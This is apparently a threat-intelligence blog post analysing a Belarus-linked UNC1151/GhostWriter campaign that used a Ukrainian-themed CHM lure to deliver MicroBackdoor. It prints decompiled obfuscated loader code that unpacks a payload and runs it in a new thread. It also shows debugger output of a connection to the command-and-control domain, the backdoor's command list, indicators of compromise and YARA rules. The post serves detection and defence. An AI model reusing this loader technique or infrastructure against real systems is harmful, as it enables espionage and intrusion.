

GHOSTWRITER / UNC1151 ADOPTS MICROBACKDOOR VARIANTS IN CYBER OPERATIONS AGAINST UKRAINE

cluster25.io/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine/

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For a few months **Cluster25** collected and analyzed several malicious activities which then were internally linked with the threat actor known as **UNC1151** (aka **GhostWriter**), an adversary believed to be linked to the **Belarusian** government. In July 2020 **Mandiant Threat Intelligence** released a

public report about an ongoing influence campaign named “GhostWriter“. The campaign was addressed to audiences in **Lithuania**, **Latvia** and **Poland** making use of critical messages against the **NATO’s** presence in Eastern Europe.

In addition to this type of operations, UNC1151 seems to be further active also in the compromise of objectives of strategic importance. On March 4, 2022, Cluster25 collected a malicious document designed to spread malware for espionage purposes against targets located in Ukraine that displays the logos of the Ukrainian President’s office and secret services with content relating to advice on dealing with the bombing.

The image shows a screenshot of a Ukrainian informational poster. At the top, there are three logos: the Ukrainian coat of arms with the text "ОФІС ПРЕЗИДЕНТА УКРАЇНИ", the Ukrainian coat of arms with the text "Кабінет Міністрів України", and the Ukrainian coat of arms with the text "СЛУЖБА БЕЗПЕКИ УКРАЇНИ". Below the logos, the main title is "ЩО РОБИТИ?" in large blue letters. Underneath the title, there is a yellow banner with the text "ПІД ЧАС АРТИЛЕРІЙСЬКИХ ОБСТРІЛІВ СИСТЕМАМИ ЗАЛПОВОГО ВОГНЮ:". Below the banner, there are four bullet points with exclamation marks, providing instructions on how to deal with artillery fire. At the bottom of the poster, there is a small cross symbol. Three red arrows point from the logos to three red-bordered boxes: "President of Ukraine" (pointing to the President's Office logo), "Secret Service of Ukraine" (pointing to the Security Service logo), and "What to do ?" (pointing to the main title area).

INSIGHTS

The document is a **Microsoft Compressed HTML Help (CHM)** file named **dovidka.chm**. After extracting the file, it shows the following structure:


```

94 // Token: 0x06000046 RID: 70 RVA: 0x0000B9D4 File Offset: 0x0000B9D4
95 private static byte[] decompressSomething(byte[] byte_0)
96 {
97     GZipStream gzipStream = Class5.createGzipStream(Class5.createMemoryStream(byte_0), CompressionMode.Decompress);
98     byte[] result;
99     try
100     {
101         byte[] byte_ = new byte[4096];
102         MemoryStream memoryStream = Class5.createMemoryStream2();
103         try
104         {
105             int num = 0;
106             for (;;)
107             {
108                 IL_AA:
109                 uint num2 = 669798781U;
110                 for (;;)
111                 {
112                     uint num3;
113                     switch ((num3 = (num2 ^ 339869413U)) % 5U)
114                     {
115                         case 0U:
116                             Class5.writeStream(memoryStream, byte_, 0, num);
117                             num2 = (num3 * 1915765635U ^ 2529288688U);
118                             continue;
119                         case 1U:
120                             num = Class5.readStream(gzipStream, byte_, 0, 4096);
121                             num2 = ((num <= 0) ? 997024480U : 1402522965U);
122                             continue;
123                         case 2U:
124                             num2 = ((num <= 0) ? 1341590819U : 669798781U);
125                             continue;
126                         case 3U:
127                             goto IL_AA;
128                     }

```

This code is basically a payload aimed at unpacking and executing a payload

```

case 6U:
{
    byte[] array4;
    IntPtr intPtr2;
    Class5.marshal_copy(array4, 0, intPtr2, array4.Length);
    byte[] array3;
    IntPtr intPtr = Class5.CreateThread(IntPtr.Zero, IntPtr.Zero, intPtr2, (uint)(intPtr2.ToInt32() + array3.Length), IntPtr.Zero, IntPtr.Zero);
    num = (((intPtr != IntPtr.Zero) ? 1739821701U : 1632692140U) ^ num2 * 144046089U);
    continue;
}
case 7U:

```

MICROBACKDOOR

The piece of code in the new thread it's basically meant to perform a connection to the domain **xbeta[.]online** attested on IP address **185.175.158[.]27**.

The screenshot displays a debugger window with assembly code and system information. The assembly code is as follows:

```

0B403580
push ebp
mov ebp, esp
push ecx
push dword ptr ss:[ebp+8]
and dword ptr ss:[ebp-4], 0
call dword ptr ds:[<&gethostbyname>]
mov edx, eax
test edx, edx
jne B4035AC

0B4035AC
movsx eax, word ptr ds:[edx+A]
push 4
pop ecx
cmp eax, ecx
cmovb ecx, eax
mov eax, dword ptr ds:[edx+C]
push ecx
push dword ptr ds:[eax]
lea eax, dword ptr ss:[ebp-4]
push eax
call B404349
mov eax, dword ptr ss:[ebp-4]
add esp, C

0B403597
push dword ptr ss:[ebp+8]
call dword ptr ds:[<&inet_addr>]
or ecx, FFFFFFFF
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
jmp B4035CD

0B4035CD
mov esp, ebp
pop ebp
ret

```

The registers section shows the following values:

```

EAX 00000000
EBX 80000000
ECX 0B17FBCC
EDX 020007D0
EBP 0B17FD80
ESP 0B17FC0C "\-@v"
ESI 75A17100 <kernel32.1str1en>
EDI 76E6E370 <ws2_32.closesocket>
EIP 0B403580

```

The stack section shows the following values:

```

ST(0) 00000000000000000000000000000000 x87r0 Vuoto 0.00000000
ST(1) 00000000000000000000000000000000 x87r1 Vuoto 0.00000000
ST(2) 00000000000000000000000000000000 x87r2 Vuoto 0.00000000
ST(3) 00000000000000000000000000000000 x87r3 Vuoto 0.00000000
ST(4) 00000000000000000000000000000000 x87r4 Vuoto 0.00000000
ST(5) 00000000000000000000000000000000 x87r5 Vuoto 0.00000000
ST(6) 00000000000000000000000000000000 x87r6 Vuoto 0.00000000
ST(7) 3FFF80B70C975DF22000 x87r7 Vuoto 1.10714871

```

The Predefinito (stdcall) section shows the following arguments:

```

1: [esp+4] 0B407000 "xbeta.online"
2: [esp+8] 0B400000 "MZ"
3: [esp+C] 0AEF515C
4: [esp+10] 00000000
5: [esp+14] 02020202

```

If the connection is successful it receives and decrypts commands and performs the appropriate actions. The identified commands that can be executed are

- id
- info
- ping
- exit
- upd
- uninst
- exec
- shell
- flist
- fget
- fput
- screenshot

The implant is able to perform any classic operation in support of activities aimed at espionage, such as collecting data relating to the machine in which it is operating, downloading and transferring files, executing arbitrary commands, capturing screenshots etc. etc.

CONCLUSIONS

The relations between **Russia** and **Belarus** date back in 1991 with the signing of the **Belovezh Accords** on the ending of the **USSR** and the establishment of the **Commonwealth of Independent States (CIS)**. In the actual conflict going on in **Ukraine** more than once Minsk showed its support to Moscow even if publicly **Lukashenko** said that he'll avoid the participation of Belarusian soldiers. In

case of an escalation it's likely that **Belarus** will assist **Russia** militarily. On the basis of the above, however, it seems that the Belarusian government is already openly participating in offensive operations in the cyber domain by protecting **Russian** interest.

INDICATORS OF COMPROMISE

CATEGORY	TYPE	VALUE
PAYLOAD	MD5	2556a9e1d5e9874171f51620e5c5e09a
PAYLOAD	SHA1	affc2b19d9fb8080a7211c3ed0718f2c3d3887df
PAYLOAD	SHA256	7f0511b09b1ab3a64c8827dd8af017acbf7d2688db31a5d98fea8a5029a89d56
PAYLOAD	MD5	d2a795af12e937eb8a89d470a96f15a5
PAYLOAD	SHA1	491214cc496f4a358856801d0381eb4926c07c59
PAYLOAD	SHA256	e97f1d6ec1aa3f7c7973d57074d1d623833f0e9b1c1e53f81af92c057a1fdd72
PAYLOAD	MD5	e2e6bb2fa799b8a9ace6125f80cc06d2
PAYLOAD	SHA1	5f7b3f789916b8ddcf8042f83817719bae133474
PAYLOAD	SHA256	559d8e8f2c60478d1c057b46ec6be912fae7df38e89553804cc566cac46e8e91
NETWORK	C2	xbeta[.]online
NETWORK	C2	185.175.158[.]27

ATT&CK MATRIX

TACTIC	TECHNIQUE	DESCRIPTION
Initial Access	T1566.001	Spearphishing Attachment
Execution	T1059	Command and Scripting Interpreter
Defense Evasion	T1036	Masquerading
Defense Evasion	T1140	Deobfuscate/Decode Files or Information
Defense Evasion	T1027	Obfuscated Files or Information
Discovery	T1082	System Information Discovery

DETECTION

```
rule GhostWriter_MicroLoader_72632_00001 {
meta:
author = "Cluster25"
hash1 = "e97f1d6ec1aa3f7c7973d57074d1d623833f0e9b1c1e53f81af92c057a1fdd72"
tlp = "white"
strings:
$ = "ajf09aj2.dll" fullword wide
$ = "regsvcsr" fullword ascii
$ = "X l.dIT" fullword ascii
$ = "rtGso9w|4" fullword ascii
$ = "ajlj}m${<" fullword ascii
condition: (uint16(0) == 0x5a4d and all of them)
}
```

```
rule GhostWriter_MicroBackdoor_72632_00001 {
meta:
author = "Cluster25"
hash1 = "559d8e8f2c60478d1c057b46ec6be912fae7df38e89553804cc566cac46e8e91"
tlp = "white"
strings:
$ = "cmd.exe /C \"%s%s\"" fullword wide
$ = "client.dll" fullword ascii
$ = "ERROR: Unknown command" fullword ascii
$ = " *** ERROR: Timeout occured" fullword ascii
$ = "%s\Software\Microsoft\Windows\CurrentVersion\Internet Settings" fullword ascii
$ = "MIIDazCCAIQgAwIBAgIUWOffflCclQXpmWMnL1ewj2F5Y1AwDQYJKoZIhvcNAQEL" fullword
ascii
condition: (uint16(0) == 0x5a4d and all of them)
}
```

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Tagged as: [APT](#), [Ukraine](#), [UNC1151](#), [GhostWriter](#), [MicroBackdoor](#), [Russia](#).